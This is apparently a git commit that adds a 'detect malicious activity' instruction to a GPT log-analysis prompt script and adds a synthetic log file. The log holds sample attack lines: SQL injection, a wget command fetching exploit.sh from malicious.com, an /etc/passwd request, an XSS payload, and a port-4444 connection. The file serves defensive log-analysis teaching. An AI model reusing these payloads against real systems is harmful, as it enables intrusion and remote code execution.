updating logs

This commit is contained in:
Omar Santos 2023-08-18 22:43:00 -04:00
parent f9a15a3f59
commit 47a38b8735
2 changed files with 13 additions and 1 deletions

View file

@ -22,7 +22,7 @@ with open('logs.txt', 'r') as file:
log_file = file.read() log_file = file.read()
# Prepare the prompt # Prepare the prompt
prompt = [{"role": "user", "content": f"Explain the following logs:\n\n{log_file}"}] prompt = [{"role": "user", "content": f"Explain the following logs:\n\n{log_file} . Explain if there is any malicious activity in the logs."}]
# Generate the AI chat completion via the OpenAI API # Generate the AI chat completion via the OpenAI API
# I am only using GTP 3.5 Turbo for this example. # I am only using GTP 3.5 Turbo for this example.

View file

@ -0,0 +1,12 @@
[2026-08-18 12:34:56] Failed login attempt for user 'admin' from IP 192.168.1.10
[2026-08-18 12:34:57] Failed login attempt for user 'admin' from IP 192.168.1.10
[2026-08-18 12:34:58] Failed login attempt for user 'admin' from IP 192.168.1.10
[2026-08-18 13:45:23] SQL query error: SELECT * FROM users WHERE username='' OR '1'='1'; -- ' AND password='password'
[2026-08-18 14:56:12] GET /login HTTP/1.1 User-Agent: Possible-Scanning-Bot/1.0
[2026-08-18 15:23:45] GET /admin/dashboard HTTP/1.1 from IP 203.0.113.5
[2026-08-18 16:34:12] Command executed: /bin/bash -c 'wget http://malicious.com/exploit.sh'
[2026-08-18 17:45:23] GET /etc/passwd HTTP/1.1 from IP 192.168.1.20
[2026-08-18 18:56:34] 1000 requests received from IP 192.168.1.30 in the last 60 seconds
[2026-08-18 19:12:45] GET /search?q=<script>alert('XSS')</script> HTTP/1.1
[2026-08-18 20:23:56] Connection attempt to port 4444 from IP 192.168.1.40
[2026-08-18 21:34:12] GET /downloads/malicious.exe HTTP/1.1 from IP 192.168.1.50